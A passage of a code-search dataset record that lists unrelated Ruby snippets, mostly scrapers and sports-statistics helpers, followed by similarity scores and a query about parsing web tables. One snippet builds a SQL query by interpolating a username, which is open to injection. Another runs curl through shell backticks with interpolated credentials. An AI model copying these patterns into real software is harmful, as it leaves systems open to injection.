twoPA, hometwoPer: twoPer, homethreeMade: threePM, homethreeAtt: threePA, homethreePer: threePer, homeftm: ftm, homefta: fta, homeftPer: ftPer, homeoffReb: offReb, homedefReb: defReb, hometotalReb: totReb, homepps: pps, homeadjFG: adjFG, homeassist: assists, hometo: to, homeapto: apto, homesteals: steals, homefouls: pf, homestealPerTO: spto, homestealPerFoul: spf, homeblocks: blocks, homeblocksPerFoul: bpf, homeOvrWL: homeOvrPer, homeHomeWL: homePer)\n elsif\n game.update(awaypoints: points, awayfgm: fgm, awayfga: fga, awayfgPer: fgPer, awaytwoMade: twoPM, awaytwoAtt: twoPA, awaytwoPer: twoPer, awaythreeMade: threePM, awaythreeAtt: threePA, awaythreePer: threePer, awayftm: ftm, awayfta: fta, awayftPer: ftPer, awayoffReb: offReb, awaydefReb: defReb, awaytotalReb: totReb, awaypps: pps, awayadjFG: adjFG, awayassist: assists, awayto: to, awayapto: apto, awaysteals: steals, awayfouls: pf, awaystealPerTO: spto, awaystealPerFoul: spf, awayblocks: blocks, awayblocksPerFoul: bpf, awayOvrWL: homeOvrPer, awayAwayWL: awayPer)\n end\n\n # Always two rows, first is away, second is home\n isHome = true\n end\n end \n end", "def get_all_scores\n games = {}\n urls = []\n threads = []\n tags = []\n tags_mutex = Mutex.new\n\n #creates a list of urls to call, one for each day a game is played in a NFL season.\n dates = get_schedule\n dates.each do |date|\n pass_date = date.gsub(\"-\",\"\")\n urls << @client.scoreboard(@options[:season], pass_date)\n end\n\n #Uses threading to call each url generated earlier.\n urls.each do |url|\n threads << Thread.new(url,tags) do |url,tags|\n tag = @client.send_request(url)\n tags_mutex.synchronize {tags << tag}\n end\n end\n\n threads.each(&:join)\n\n #Creating a hash to store results from each scoreboard call.\n tags.each do |tag|\n parsed = parse_scoreboard_response(tag)\n parsed.each do |game|\n games[game['date']] = parsed\n end\n end\n\n #Prints out game scores in easy to read fashion.\n if @options[:team].nil?\n parse_all_scores(games)\n else\n parse_team_scores(games)\n end\n end", "def find_games\n data.each do |_, category|\n category['games'] = find_games_on_this_page(category.fetch('url'))\n end\n end", "def archive\n dom = load_page(\"http://#{@domain}/Games.aspx\")\n max = parse_max_page(dom.css('#tdContentCenter').first, 'Games.aspx')\n 1.upto(max).flat_map do |page|\n load_page('/Games.aspx', page: page).css('#lnkGameTitle')\n .map { |a| parse_game(a) }\n end\n end", "def json_games_arr\n puts(params[:players])\n\n player_strings = params[:players]\n\n stat = params[:stat]\n\n puts stat\n\n response = []\n\n player_strings.each do |player_string|\n player = Player.get(player_string)\n\n name = player.name\n puts name\n\n player_data = {}\n puts player\n season = player.get_season(params[:year])\n\n if season != nil\n season.games.each do |game|\n # puts game.date\n gameDate = game['date']\n\n if gameDate.month > 2\n puts stat\n puts game[stat]\n player_data[gameDate] = game[stat] || 0\n end\n end\n else\n response = [{'error' => \"Season does not exist for \" + player.name}]\n render :json => response\n return\n\n end\n\n response.push({'name' => name, 'data' => player_data})\n\n end\n\n puts response\n\n\n render :json => response\n end", "def player_numbers(team_name)\n array_of_jerseys = []\n one_team_stats(team_name)[:players].each do |player, stats|\n array_of_jerseys << stats[:number]\n end\n array_of_jerseys\nend", "def parse_schedule(url)\n # Turn class schedule into an array of arrays.\n page = Nokogiri::HTML(open(url))\n schedule = page.search('table')[5]\n rows = schedule.search('tr')\n rows.map { |row| parse_row(row) }\nend", "def scrapping_name\n page = Nokogiri::HTML(open(\"https://coinmarketcap.com/all/views/all/\")) \n name_array = Array.new\n (0..200).each do |x|\n name_array << page.xpath(\"//table/tbody/tr[#{x}]/td[3]\").text\n puts \"scrapping : \" + name_array[x]\n end \n return name_array\nend", "def index\n player = params[:player].present? ? params[:player] : nil\n @games = if player\n Game.joins(:players).where('players.id = ?', player)\n else\n Game.all\n end\n end", "def scraper(url2)\n dataUrl = Nokogiri::HTML(open(url2))\n linksUrl = dataUrl.css('div.place-post')\n \n linksUrl.each do |review|\n arr = []\n # name\n arr << review.css('#main-content-title').text.strip\n # neighborhood\n arr << review.css('span.date').text.strip\n # street-address\n #arr << review.css('span.street-address').text.strip\n # street-address\n #arr << review.css('span.locality').text.strip\n # food rating\n arr << review.css('span.i-box[1] span.i-number').text.strip\n # decor rating\n arr << review.css('span.i-box[2] span.i-number').text.strip\n #service rating\n arr << review.css('span.i-box[3] span.i-number').text.strip\n #cost rating\n arr << review.css('span.i-box[4] span.i-number').text.strip\n\n return arr\n end \nend", "def scrape_season\n doc = Nokogiri::HTML(open(url))\n \n seasonality_url = doc.search(\"#survival-guide ul li:nth-child(2) a\").attr(\"href\").text #get country weather url\n weather_pg = Nokogiri::HTML(open(seasonality_url))\n \n #get high, low, and best time to visit information\n @high_season = weather_pg.search(\"div.card--page__content p:nth-child(1)\").text\n @low_season = weather_pg.search(\"div.card--page__content p:nth-child(5)\").first.text\n\n shoulder_season = weather_pg.search(\"div.card--page__content p:nth-child(3)\").first.text\n @best_visit_season = \"Best time to visit \" + shoulder_season[16..-1]\n end", "def get_saved_games_list(username)\n result = Array.new()\n res = @db.query(\"SELECT DISTINCT GameID, User1, User2, GameType FROM SavedGames WHERE User1 = '#{username}' OR User2 = '#{username}';\")\n while row = res.fetch_row do\n result.push(GameListElement.new(row[0], row[1], row[2], row[3]))\n end\n result\n end", "def getTeams()\n for player in @skater_data\n puts player\n begin\n team = JSON.parse((RestClient.get \"https://statsapi.web.nhl.com/api/v1/people/#{player[5]}\"))[\"people\"][0][\"currentTeam\"][\"name\"]\n rescue\n team = \"N/A\"\n end\n if team.include? \"Canadiens\"\n team = \"Montreal Canadiens\"\n end\n player.push(team)\n end\n for goalie in @goalie_data\n begin\n team = JSON.parse((RestClient.get \"https://statsapi.web.nhl.com/api/v1/people/#{goalie[5]}\"))[\"people\"][0][\"currentTeam\"][\"name\"]\n rescue\n team = \"N/A\"\n end\n if team.include? \"Canadiens\"\n team = \"Montreal Canadiens\"\n end\n goalie.push(team)\n puts goalie\n end\nend", "def get_player_page(s, p, c)\n req = nil\n res = nil\n u = s + p\n url = URI.parse(u)\n req = Net::HTTP::Post.new(url.path)\n req['Cookie']= c\n res = Net::HTTP.start(url.host, url.port) {|http|\n http.request(req, url.query)\n }\nend", "def parse_url(url)\n doc = Net::HTTP.get(URI('http://www.flvcd.com/parse.php?kw=' + url))\n row = ''\n doc.lines do |line|\n if line =~ /<BR><a href=\"http:\\/\\/.*\\.mp4\"/\n row = line.lstrip!.b\n break\n end\n end\n#puts row[%r{\"http://.+?\\.mp4\"}]\n links = []\n row.scan(%r{\"http://.+?\\.mp4\"}) {|link| links.push(link[1..-2])}\n links.each {|l| puts l}\n links\nend", "def parse_players(player)\n player.each_with_index.map do |s, i|\n [i+1, s.name, s.power, s.combat]\n end\n end", "def gets_urls\n page = Nokogiri::HTML(URI.open('http://www2.assemblee-nationale.fr/deputes/liste/alphabetique'))\n urls = []\n\n page.css('div.col-container > ul > li > a').each do |fetch|\n urls.push('http://www2.assemblee-nationale.fr' + fetch['href'])\n end\n\n urls\nend", "def extract_video_page_urls(webpage,options)\r\n puts \"Extracting data from html5 data\"\r\n webpage.css('li.regularitem').each do |post|\r\n link = post.css('h4.itemtitle').css('a').first\r\n description = post.css('div.itemcontent').first.text\r\n download_episode(link.child.text,link['href'],description, options)\r\n end\r\nend", "def get_players_for_team(uri)\n sparql = SPARQL.parse(\"SELECT DISTINCT ?uri ?label ?team_uri ?team\n WHERE {\n ?uri <http://purl.org/hpi/soccer-voc/playsFor> <#{uri}> .\n ?uri <#{RDF::RDFS.label}> ?label .\n ?uri <http://purl.org/hpi/soccer-voc/playsFor> ?team_uri .\n ?team_uri <#{RDF::RDFS.label}> ?team .\n }\")\n solutions = QUERYABLE.query(sparql)\n end", "def get_urls(url, d)\n useragent = \"NotubeMiniCrawler/0.1\"\n u = URI.parse url \n req = Net::HTTP::Get.new(u.request_uri,{'User-Agent' => useragent})\n begin \n res2 = Net::HTTP.new(u.host, u.port).start {|http|http.request(req) }\n end\n j = nil\n begin\n j = JSON.parse(res2.body)\n rescue JSON::ParserError=>e\n puts \"Error \"+e.to_s\n return Array.new\n rescue OpenURI::HTTPError=>e\n case e.to_s \n when /^404/\n raise 'Not Found'\n when /^304/\n raise 'No Info'\n end\n return Array.new\n end\n txt = \"\"\n service=j[\"schedule\"][\"service\"][\"key\"]\n serviceTitle=j[\"schedule\"][\"service\"][\"key\"]\n arr = j[\"schedule\"][\"day\"][\"broadcasts\"]\n arr2 = Array.new\n pids = Array.new\n arr.each do |x|\n pid = x[\"programme\"][\"pid\"]\n tt1 = x[\"programme\"][\"display_titles\"][\"title\"]\n tt2 = x[\"programme\"][\"display_titles\"][\"subtitle\"]\n pidTitle = \"#{tt1}: #{tt2}\"\n # fix up &amps;\n pidTitle.gsub!(\"&\",\"&amp;\")\n startd = x[\"start\"]\n endd = x[\"end\"]\n #puts \"start #{startd} date to match #{d} ''\"\n if (startd.match(d))\n pids.push(pid)\n arr2.push({\"pid\"=>pid,\"displayTitle\"=>pidTitle,\"startd\"=>startd,\"endd\"=>endd,\"service\"=>service,\"serviceTitle\"=>serviceTitle})\n end\n end\n return arr2,pids\n end", "def get_townhall_urls\r\n\r\n # Scrapping de toutes les URLs\r\n page = Nokogiri::HTML(URI.open(\"http://annuaire-des-mairies.com/val-d-oise.html\"))\r\n\turls = page.xpath('//*[@class=\"lientxt\"]/@href') # toutes les URLs appartiennent à la classe lientxt\r\n\r\n #stockage des URLs scrappées dans une array\r\n\turl_array = []\r\n urls.each do |url| # pour chaque URLs récupérées, il faut leur indiquer l'url parent \"http://annuaire-des-mairies.com\"\r\n\t\turl = \"http://annuaire-des-mairies.com\" + url.text[1..-1] # A l'url parent, on ajoute les urls récupérées du deuxième caractère au dernier caractère, car on veut se débarasser du point devant.\r\n\t\turl_array << url\r\n end\r\n\r\n puts \" ⏳ URLs scrapping in process...3️, 2️, 1️\" \r\n sleep 3\r\n puts \"⭐⭐⭐ BINGOOOOOO ⭐⭐⭐\" #https://emojipedia.org/\r\n sleep 1\r\n return url_array \r\nend", "def players(player_name, *additional_player_names)\n player_names = [player_name].concat(additional_player_names)\n filter_params = { 'filter[playerNames]' => player_names.join(',') }\n\n get_request(shard_endpoint_uri('players', filter_params))\n end", "def get_players_by_team(team_id)\n response = parse_api_request(\"#{BASE_URL}players/2018/#{team_id}\")[\"players\"]\nend", "def player_numbers(team_name)\n results = []\n \n game_hash.each do |location, team_data|\n if team_data[:team_name] == team_name\n team_data.each do |attributes, data|\n if attributes == :players\n data.each do |data_item|\n results << data_item[:number]\n end\n end\n end\n end\n end\n return results\nend", "def fangraphs_odds\n\t\tmatchupgame=Game.new\n\t\tgamedate=matchupgame.parsegamestring(self.gid)[:year].to_s+\"-\"+matchupgame.parsegamestring(self.gid)[:month].to_s+\"-\"+matchupgame.parsegamestring(self.gid)[:day].to_s\n\t\turl=\"https://www.fangraphs.com/livescoreboard.aspx?date=\"+gamedate\n\t\tdoc=Nokogiri::HTML(open(url))\n\t\t\n\t\tawayt=matchupgame.parsegamestring(self.gid)[:awayt]\n\t\thomet=Matchup.fangraphTeamList[matchupgame.parsegamestring(self.gid)[:homet]]\n\t\tputs awayt.to_s\n\tend", "def get_all_the_urls_of_val_doise_townhalls(page_url)\n tab = []\n doc = Nokogiri::HTML(open(page_url))\n tab_lien = doc.css(\"a\").select{|link| link['class']==\"lientxt\"}\n lien =\"http://annuaire-des-mairies.com/\"\n tab_lien.each{|link| tab.push(lien+link['href'])}\n tab\nend", "def load_teams\n tell \"Loading teams...\" unless options.quiet?\n teams = []\n\n doc = Nokogiri::HTML(open(TEAMS_URL))\n div1a = doc.css('div.mod-container > div.span-2').first\n list = div1a.css('div.mod-teams-list-medium ul li')\n \n list.each do |t|\n a_tag = t.search('h5 > a').first\n id = a_tag['href'].match(/_\\/id\\/([\\d]+)\\/.+\\Z/)[1]\n name = a_tag.content\n teams.push({:id => id, :name => name})\n end\n\n teams.sort_by { |team| team[:name] }\n end", "def opponents(week)\n return @opponents[week] if @opponents[week]\n \n filename = \"#{@schedule_dir}/#{week}.html\"\n n = Nokogiri.HTML(File.open(filename))\n\n @opponents[week] = []\n\n t = n.css('#scheduletable')\n games = t.css('table table tr').each_slice(2)\n games.each do |g|\n first, second = *g\n t1 = first.css('td.team a')[0]\n t1num = t1.attr('href').split('/')[-1]\n t1name = t1.text\n\n t2 = second.css('td.team a')[0]\n t2num = t2.attr('href').split('/')[-1]\n t2name = t2.text\n \n @opponents[week] << [t1num, t2num]\n end\n \n return @opponents[week]\n end", "def teams\n teams_list = page.links_with(text: /TEAM GUIDE/)\n teams_list.map { |link| link.href.slice(/4\\/.*/)[2..-1] }\nend", "def imdb_top_movie_urls\n url = \"https://www.imdb.com/chart/top\"\n html_string = open(url).read\n doc = Nokogiri::HTML(html_string)\n movie_link_elements = doc.search('.lister-list .titleColumn a').first(5)\n movie_link_elements.map do |element|\n \"http://www.imdb.com#{element.attr(\"href\")}\"\n end\nend", "def processRoster url\n\tunparse_page = HTTParty.get(url)\n\tparse_page = Nokogiri::HTML(unparse_page)\n\n\th = height parse_page\n\t#puts h.length\n\tn = names parse_page\n\t#puts n.length\n\theightInInches = feetToInches(h)\n\tif heightInInches.inject(0){|sum,x| sum +x} != 0 \n\t\t\n\t\t\n\n\t\tdisplayNameHeight h,heightInInches,n\n\t\n\t\taverageHeight = average(heightInInches)\n\t\tputs \"\\nAverage height in inches is: #{averageHeight}\"\n\n\t\tfeet = averageHeight/12\n\t\tnum = averageHeight - feet.to_i * 12\n\t\tputs \"Average height in feet is: #{feet.to_i}\\' #{num}\\\"\"\n\telse\n\t\tputs \"No available height data for this sport.\"\n\tend\nend", "def get_movie_characters_from_api(movie)\nmovie_hash = make_search('http://www.swapi.co/api/films/')\ncharacters_array = []\n movie_hash[\"results\"].each do |item|\n if item[\"title\"].downcase == movie\n item[\"characters\"].each do |character| #urls \n character_info_hash = make_search(character)\n characters_array << character_info_hash\n end \n end\n end \n #characters_array #all the info on films an array of hashes\n parse_movie_character(characters_array)\nend", "def get_game (name)\n @elements.each do |element|\n #return desired game if found\n if element.css('h3.product_title a').text == name\n return {\n 'title' => element.css('h3.product_title a').text ,\n 'score' => element.css('span.metascore_w').text.to_i\n }\n end\n end\n #return nil if game is not found\n return nil\n end", "def get_matches\n @data ||= begin\n str = APIS[ @league.downcase.to_sym ]\n str = str.gsub( '$year$', @year.to_s )\n\n get( str ) ## use \"memoized\" / cached result\n end\n end", "def get_player_uri(name, team_uri)\n if name.include?(',')\n name = name.split(',').reverse.join(' ')\n end\n name = name.strip\n sparql = \"SELECT DISTINCT ?player_uri ?team_uri\n WHERE {\n { ?player_uri <http://xmlns.com/foaf/0.1/name> \\\"#{name}\\\"@en . }\n UNION\n { ?player_uri <http://xmlns.com/foaf/0.1/fullname> \\\"#{name}\\\"@en . }\n UNION\n { ?player_uri <http://xmlns.com/foaf/0.1/surname> \\\"#{name}\\\"@en . }\n UNION\n { ?player_uri <http://xmlns.com/foaf/0.1/givenName> \\\"#{name}\\\"@en . }\n UNION\n { ?player_uri <http://xmlns.com/foaf/0.1/name> \\\"#{name.split(' ').first}\\\"@en . }\n UNION\n { ?player_uri <http://xmlns.com/foaf/0.1/fullname> \\\"#{name.split(' ').first}\\\"@en . }\n UNION\n { ?player_uri <http://xmlns.com/foaf/0.1/givenName> \\\"#{name.split(' ').first}\\\"@en . }\n UNION\n { ?player_uri <http://xmlns.com/foaf/0.1/surname> \\\"#{name.split(' ').first}\\\"@en . }\n UNION\n { ?player_uri <http://xmlns.com/foaf/0.1/name> \\\"#{name.split(' ').last}\\\"@en . }\n UNION\n { ?player_uri <http://xmlns.com/foaf/0.1/fullname> \\\"#{name.split(' ').last}\\\"@en . }\n UNION\n { ?player_uri <http://xmlns.com/foaf/0.1/surname> \\\"#{name.split(' ').last}\\\"@en . }\n UNION\n { ?player_uri <http://xmlns.com/foaf/0.1/givenName> \\\"#{name.split(' ').last}\\\"@en . }\n ?player_uri <http://www.w3.org/1999/02/22-rdf-syntax-ns#type> <http://dbpedia.org/ontology/SoccerPlayer> .\n ?player_uri <http://dbpedia.org/property/nationalteam> <#{team_uri}> .\n ?player_uri <http://dbpedia.org/property/nationalteam> ?team_uri\n OPTIONAL { ?player_uri <http://dbpedia.org/property/nationalcaps> ?caps }.\n OPTIONAL { ?player_uri <http://dbpedia.org/property/nationalgoals> ?goals }.\n ?player_uri <http://dbpedia.org/property/birthDate> ?birth_date .\n FILTER(?birth_date > \\\"19700101\\\"^^xsd:date)\n }\n ORDER BY DESC(?caps) DESC(?goals)\"\n solutions = DBPEDIA.query sparql\n result = solutions.first\n result.present? ? result.player_uri.to_s : nil\n end", "def get_all_opponents(id, matchid, player_hash, outputarr)\n response = `curl -s --user #{CHALLONGE_USER}:#{CHALLONGE_TOKEN} -X GET #{api_url(id)}/matches/#{matchid}.json`\n match = JSON.parse(response)['match']\n if match['player1_id']\n outputarr.push(player_hash.key(match['player1_id'].to_s))\n else\n get_all_opponents(id, match['player1_prereq_match_id'].to_i, player_hash, outputarr)\n end\n if match['player2_id']\n outputarr.push(player_hash.key(match['player2_id'].to_s))\n else\n get_all_opponents(id, match['player2_prereq_match_id'].to_i, player_hash, outputarr)\n end\nend", "def parse_url\n tags = []\n # scrape data from page\n parser = Scrapping::Parser.new(url)\n unless parser.error\n # parse h1 from doc\n tags << parser.content_by_tag(parser.doc,'h1')\n\n # parse h2 from doc\n tags << parser.content_by_tag(parser.doc,'h2')\n\n # parse h3 from doc\n tags << parser.content_by_tag(parser.doc,'h3')\n\n # parase url of links from doc\n tags << parser.content_by_tag(parser.doc,'a')\n\n # make a single flatten array of tags\n tags = tags.flatten\n # create tags\n self.tags << Tag.create(tags)\n # return json response\n response = {error: false,message: \"Page content is parsed.\",status: 200}\n else\n response = {error: true,message: parser.message,status: 400}\n end\n end", "def announces\n load_page(\"http://#{@domain}/\").css('#boxCenterComingGames #lnkGameTitle')\n .map { |a| parse_game(a) }\n end", "def player_data\n players = []\n game_hash.each do |home_away, team_details|\n players << team_details[:players]\n end\n return players.flatten\nend", "def player_numbers(team_name)\n jersey_nums = []\n game_hash.each do |place, team|\n if team[:team_name] == team_name\n team.each do |attribute, player_info|\n if attribute == :players\n player_info.each do |data|\n jersey_nums << data[:number]\n end\n end\n end\n end\n end\n jersey_nums\nend", "def get_the_name_of_val_doise_townhalls(url)\n page = Nokogiri::HTML(open(url))\n commune = []\n news_links = page.css(\"a\").select{|link| link['class'] == \"lientxt\"}\n news_links.each do |communes|\n commune << communes.text\n end\n return commune\nend", "def getLastFmSimilarTrackData artist_name, album_name, track_name\n url = getLastFmSimilarTrackDataUrl(artist_name, album_name, track_name);\n proxy = getProxy();\n puts url+\"-[\"+proxy+\"]\";\n #url = \"http://www.google.com\" \n begin\n html = open(url, \"User-Agent\" => getUseragent(), :proxy=>proxy) \n document = Hpricot(html)\n #document = Nokogiri::HTML(html)\n #ar = document.css('div.skyWrap table.candyStriped') \n\n ar = document.search(\"//div[@class='skyWrap']\").search(\"//table[@class='candyStriped chart']\");\n #puts ar \n return ar\n rescue Exception => e\n return \"\"\n end \n end", "def player_numbers (team_name)\n all_jersies = [];\n lookup_by_team(team_name)[:players].map { |player|\n all_jersies << player[:number];\n }\n all_jersies; \nend", "def get_each_team()\n\n prem_table = '//*[@id=\"standings-16368-content\"]'\n row_count = $browser.element(:xpath => prem_table).wait_until.trs.count\n teams_links = {}\n\n for i in 1..row_count do\n team_path = $browser.element(:xpath => prem_table + '/tr[' + i.to_s + ']/td[2]/a')\n team_name = team_path.inner_html\n team_link = team_path.parent.a.href\n teams_links.store(team_name, team_link)\n #puts teams_links\n end\n return teams_links\nend", "def get_channnel_xml( url )\n path = url.sub(/http:\\/\\/gdata\\.youtube\\.com/,'')\n xml = \"\"\n\n Net::HTTP.version_1_2\n Net::HTTP.start(\"#{@url}\", \"#{@port}\") do |http|\n response = http.get(\"/#{path}\")\n xml = response.body\n end\n\n return xml\n end", "def coins\n page = Nokogiri::HTML(open(\"https://coinmarketcap.com/all/views/all/\")) \n name_array = Array.new\n (0..200).each do |x|\n name_array << page.xpath(\"//table/tbody/tr[#{x}]/td[3]\").text\n end \n return name_array\nend", "def get_teams\n doc = Nokogiri::HTML(open(\"http://www.espn.com/mens-college-basketball/teams\"))\n conferences = doc.css(\"div.mod-teams-list-medium\")\n \n # Cycle through conferences filling in the name of each team along with their homepage url\n x = 1\n conferences.each do |conference|\n conf = Conference.find_or_initialize_by(name: conference.css(\"div.mod-header h4\").text)\n conf.id = x\n conf.save\n teams = conference.css(\"ul li\")\n y = 0 \n teams.each do |row|\n team_link = row.css(\"a.bi\")\n team_name = team_link.text\n team_url = team_link[0]['href']\n team = Team.find_or_initialize_by(school: team_name)\n if team\n team.conference_id = x\n team.home_url = team_url\n team.save\n else\n print row\n end\n end\n x += 1\n end\n # Visit each team URL to get the rest of the team info and correct team name\n Team.all.each do |new_team|\n doc = Nokogiri::HTML(open(new_team.home_url))\n header = doc.css(\"div.global-nav-container ul.first-group\")\n school = header.css(\"li.team-name span.link-text-short\").text\n long_name = header.css(\"li.team-name span.link-text\").text\n logo = header.css(\"span.brand-logo img\").attr('src').to_s\n long_name.slice! school\n long_name.strip!\n logo.slice! \"&h=150&w=150\"\n new_team.school = school\n new_team.nickname = long_name\n new_team.logo_url = logo\n new_team.save\n end\n redirect_to teams_path\n end", "def games\n @logger.log(BEFORE_CHECK_GAMES)\n parsed_response = get_and_parse(\"/api/games/my_turn.json\")\n games = parsed_response[\"body\"]\n @logger.log(AFTER_CHECK_GAMES, \"Found #{games.size} games\")\n games\n end", "def player_numbers(input_team)\nnumbers = []\ngame_hash.each do |place, team|\n if team[:team_name] == input_team\n team.each do |attribute, data|\n next unless attribute == :players\n data.each do |player| #passing through an array \n numbers.push(player[:number])\n end \n end\n end\n end\nnumbers\nend", "def get_match_ids(account_id)\n # Given a summoner's accountId, make an API request for their match history.\n url = \"https://#{REGION}.api.riotgames.com/lol/match/v4/matchlists/by-account/#{account_id}?api_key=#{API_KEY}\"\n response_string = RestClient.get(url)\n #sleep(1)\n match_history = JSON.parse(response_string)\n match_ids = match_history[\"matches\"].map {|match| match['gameId']}.uniq\nend" ]
[ "0.6517306", "0.6478251", "0.631979", "0.6286722", "0.6268174", "0.6190286", "0.6109161", "0.60837585", "0.6017299", "0.59208345", "0.5904583", "0.586569", "0.58397734", "0.5823365", "0.5814529", "0.5803674", "0.5800477", "0.5793399", "0.5792", "0.5764296", "0.5735375", "0.5732764", "0.56978446", "0.5676269", "0.5676269", "0.5672607", "0.56551504", "0.55788887", "0.556524", "0.55411", "0.5523132", "0.5516022", "0.55129486", "0.55101025", "0.5506253", "0.55049604", "0.55011696", "0.5492822", "0.54813886", "0.5476883", "0.5459819", "0.54533523", "0.5442248", "0.5440806", "0.5423336", "0.5410828", "0.5405627", "0.54021275", "0.53987336", "0.5397823", "0.53945315", "0.53863406", "0.53678423", "0.5367698", "0.5340417", "0.5326799", "0.53247964", "0.53218436", "0.530556", "0.53003913", "0.5293297", "0.5286882", "0.5284616", "0.528431", "0.5272067", "0.5257874", "0.52562207", "0.5238584", "0.5236523", "0.5221828", "0.5221593", "0.5204569", "0.51981145", "0.519759", "0.519403", "0.5185721", "0.51730615", "0.5159606", "0.5159104", "0.5154255", "0.51284677", "0.51217836", "0.5115289", "0.51122427", "0.51079047", "0.51072365", "0.510684", "0.5105364", "0.51048684", "0.5104005", "0.5103797", "0.5102246", "0.5099556", "0.50919634", "0.50911343", "0.5089111", "0.5083848", "0.50837374", "0.5078256", "0.50675064" ]
0.6198181
5
parses tables on web page and assembles response array
def getTotals(page) totalsRow = page.css("table.dbd")[0].css("tr.toprow").last games = totalsRow.css("td.letter")[0].text.to_i # From Totals Row ab = totalsRow.css("td.number")[1].text.to_i runs = totalsRow.css("td.number")[2].text.to_i hits = totalsRow.css("td.number")[3].text.to_i dbl = totalsRow.css("td.number")[4].text.to_i tpl = totalsRow.css("td.number")[5].text.to_i hr = totalsRow.css("td.number")[6].text.to_i rbi = totalsRow.css("td.number")[7].text.to_i bb = totalsRow.css("td.number")[8].text.to_i hbp = totalsRow.css("td.number")[10].text.to_i cs = totalsRow.css("td.number")[13].text.to_i sh = totalsRow.css("td.number")[14].text.to_i sf = totalsRow.css("td.number")[15].text.to_i gdp = totalsRow.css("td.number")[16].text.to_i # From Summary Row ba = page.css("table.dbd")[1].css("tr")[1].css("td")[0].text.to_f oba = page.css("table.dbd")[1].css("tr")[1].css("td")[1].text.to_f slug = page.css("table.dbd")[1].css("tr")[1].css("td")[2].text.to_f ops = oba.to_f + slug.to_f solution = [games,ab,runs,hits,dbl,tpl,hr,rbi,bb,hbp,cs,sh,sf,gdp,ba,oba,slug,ops] vorp = calcVORP(solution) solution << vorp return solution end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def parse_web(table_cells)\nend", "def parse_table(doc)\n rows = doc.css('table#listUsersTable tbody tr')\n data = rows.map do |row|\n id, name, details = row.search('td')\n url = details.search('a').first['href']\n {id: id.content, name: name.content, registry_url: BASE_URL + url}\n end\nend", "def parse_table(doc)\n rows = doc.css('table#listUsersTable tbody tr')\n data = rows.map do |row|\n id, name, details = row.search('td')\n url = details.search('a').first['href']\n {id: id.content, name: name.content, registry_url: BASE_URL + url}\n end\nend", "def getTable url\n page = Nokogiri::HTML(open(url), nil, 'UTF-8')\n tableTr = page.xpath('//*[@id=\"page-form\"]/div[2]/div[2]/table//tr')\n return tableTr\nend", "def parseTable(table, headers)\n addNext = false\n objects = Array.new\n table.scan(/<tr class=\"body.+?<\\/tr>/m) do |row|\n object = Hash.new\n index = 0\n row.scan(/>([^<]+)<\\//) do |d|\n object[headers[index]] = d[0]\n index += 1\n end\n objects.push(object)\n end\n return objects\n end", "def parse_and_set_tables\n tables = @nokogiri_document.xpath(\".//table\")\n @tables_count = tables.count\n unless @tables_count > 12\n tables.each_with_index do | table , index |\n if index.odd?\n key = define_key_based_on_index(index)\n noko = Nokogiri::HTML(table.to_s)\n noko.xpath(\"/html/body/table\").each do | table |\n @tables[key] = table\n end\n noko = nil\n end\n end\n end\n end", "def parse_table; end", "def scrape_table(page)\n data_table = page.css('table.data tr').collect {|x| x.css('td')}.reject{ |x| x.length == 0}.collect do |row|\n record = {}\n record['Product'] = row.css('h1')[0].inner_text\n record['Price'] = row.css('.details_price_now_main')[1].inner_text\n record['Description'] = row.css('details_right')[2].inner_text\n record['Sales (m)'] = row.css('td')[4].inner_text\n # Print out the data we've gathered\n puts record\n # Finally, save the record to the datastore - 'Artist' is our unique key\n ScraperWiki.save(\"Artist\", record)\n end\nend", "def scrape_table(page)\n data_table = page.css('table.data tr').collect {|x| x.css('td')}.reject{ |x| x.length == 0}.collect do |row|\n record = {}\n record['Product'] = row.css('h1')[0].inner_text\n record['Price'] = row.css('.details_price_now_main')[1].inner_text\n record['Description'] = row.css('details_right')[2].inner_text\n record['Sales (m)'] = row.css('td')[4].inner_text\n # Print out the data we've gathered\n puts record\n # Finally, save the record to the datastore - 'Artist' is our unique key\n ScraperWiki.save(\"Artist\", record)\n end\nend", "def parse\n @table = []\n rows = @doc.split(/\\r?\\n/)\n rows.each do |row|\n row_array = row.split(\"|\")\n row_array.each(&:strip!)\n @table.push(row_array)\n end\n @table.delete_at(1) if @header # strip header separator\n @table\n end", "def parse_table\n advance\n table = Element.new(:table)\n table = parse_attributes(table)\n table = parse_caption(table)\n while match?(:table_row, :table_header, :table_data)\n table = parse_row(table)\n end\n if match? :table_end\n advance\n else\n warning 'Could not find end of table, missing \"|}\"'\n end\n table\n end", "def oci_table_to_array(response,table_header)\n response_hash = Hash.new\n list_of_responses = Array.new\n values = Array.new\n\n ##Get Column Headings\n parse_response = REXML::Document.new(response)\n parse_response.elements.each(\"//command/#{table_header}/colHeading\") do |ele| \n parse_line = REXML::Document.new(\"#{ele}\")\n n = parse_line.elements[\"//colHeading\"].text\n name = n.to_s\n name.tr!(\" \",\"_\")\n name.tr!(\"/\",\"-\")\n response_hash[name.to_sym] = 0\n end\n\n ##Get Each Set of Values\n ##ADDED table_header to account for responses with multiple table headers \n ## (for example:GroupServiceGetAuthorizationListRequest\"\n # parse_response.elements.each(\"//row/col\") do |col| <-old parse\n #\n parse_response.elements.each(\"//#{table_header}/row/col\") do |col|\n parse_line = REXML::Document.new(\"#{col}\")\n v = parse_line.elements[\"//col\"].text\n ##Added text value for empty columns \n v = '__NIL__' if v == nil\n values << v.to_s\n end\n\n ##Assign each set of values to the matching colHeader and assign this hash to an array\n until values.empty? == true\n final_response = Hash.new\n response_hash.each do |k,v|\n final_response[k] = values.shift\n end\n list_of_responses << final_response\n end\n\n return list_of_responses\n end", "def scrape_table(page)\n data_table = page.css('table.data tr').collect {|x| x.css('td')}.reject{ |x| x.length == 0}.collect do |row|\n record = {\n Product: row.css('h1')[0].inner_text,\n Price: row.css('.details_price_now_main')[1].inner_text,\n Description: row.css('details_right')[2].inner_text,\n :'Sales (m)' => row.css('td')[4].inner_text\n }\n\n # Print out the data we've gathered\n p record\n\n # Finally, save the record to the datastore - 'Product' is our unique key\n ScraperWiki.save_sqlite([:Product], record)\n end\nend", "def parse\n\n results = []\n\n {:valge => '//*[@id=\"centerbar\"]/div[2]/table/tr/td[1]/table/tr',\n :sinine => '//*[@id=\"centerbar\"]/div[2]/table/tr/td[2]/table/tr',\n :world1 => '//*[@id=\"centerbar\"]/div[2]/table/tr/td[3]/table/tr',\n :world2 => '//*[@id=\"centerbar\"]/div[2]/table/tr/td[4]/table/tr'}.each do |world, xpath|\n rows = @page.xpath(xpath)\n parse_rows(rows).each do |username|\n results.push([username, world])\n end\n end\n\n results\n 